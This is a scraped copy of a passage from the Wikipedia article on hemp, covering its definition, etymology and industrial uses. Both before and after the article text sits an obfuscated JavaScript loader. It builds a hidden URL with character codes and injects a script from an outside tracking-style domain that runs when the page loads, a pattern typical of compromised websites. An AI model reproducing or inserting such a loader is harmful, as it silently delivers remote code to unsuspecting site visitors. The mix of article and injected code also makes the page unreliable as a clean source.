var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}

Hemp

From Wikipedia, the free encyclopedia
 
 

This article is about industrial uses of Cannabis. For the genus of plants, see Cannabis. For therapeutic preparations of the plant, see Medical cannabis. For the psychoactive preparation, see Cannabis (drug). For religious use, see Entheogenic use of cannabis. For other uses, see Hemp (disambiguation).

 

A hemp field in Côtes-d’ArmorBrittanyFrance (Europe‘s largest hemp producer)

Hemp, or industrial hemp, is a strain of the Cannabis sativa plant species that is grown specifically for the industrial uses of its derived products.[1] It is one of the fastest growing plants[2] and was one of the first plants to be spun into usable fiber 10,000 years ago.[3] It can be refined into a variety of commercial items, including paper, textiles, clothing, biodegradable plastics, paint, insulation, biofuel, food, and animal feed.[4][5]

Although cannabis as a drug and industrial hemp both derive from the species Cannabis sativa and contain the psychoactive component tetrahydrocannabinol (THC), they are distinct strains with unique phytochemical compositions and uses.[6] Hemp has lower concentrations of THC and higher concentrations of cannabidiol (CBD), which decreases or eliminates its psychoactive effects.[6] The legality of industrial hemp varies widely between countries. Some governments regulate the concentration of THC and permit only hemp that is bred with an especially low THC content.[7][8]

The etymology is uncertain but there appears to be no common Proto-Indo-European source for the various forms of the word; the Greek term kánnabis is the oldest attested form, which may have been borrowed from an earlier Scythian or Thracian word.[9][10] Then it appears to have been borrowed into Latin, and separately into Slavic and from there into Baltic, Finnish, and Germanic languages.[11]

In the Germanic languages, following Grimm’s law, the “k” would have changed to “h” with the first Germanic sound shift,[9][12] after which it may have been adapted into the Old English form, hænep.[9] Barber (1991) however, argued that the spread of the name “kannabis” was due to its historically more recent plant use, starting from the south, around Iran, whereas non-THC varieties of hemp are older and prehistoric.[11] Another possible source of origin is Assyrian qunnabu, which was the name for a source of oil, fiber, and medicine in the 1st millennium BC.[11]

Cognates of hemp in other Germanic languages include Dutch hennep, Danish and Norwegian hamp, German Hanf, and Swedish hampa.[9]

Uses

 

Hemp seed

Hemp is used to make a variety of commercial and industrial products, including rope, textiles, clothing, shoes, food, paper, bioplastics, insulation, and biofuel.[4] The bast fibers can be used to make textiles that are 100% hemp, but they are commonly blended with other fibers, such as flax, cotton or silk, as well as virgin and recycled polyester, to make woven fabrics for apparel and furnishings. The inner two fibers of the plant are woodier and typically have industrial applications, such as mulch, animal bedding, and litter. When oxidized (often erroneously referred to as “drying”), hemp oil from the seeds becomes solid and can be used in the manufacture of oil-based paints, in creams as a moisturizing agent, for cooking, and in plastics. Hemp seeds have been used in bird feed mix as well.[13] A survey in 2003 showed that more than 95% of hemp seed sold in the European Union was used in animal and bird feed.[14]

var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}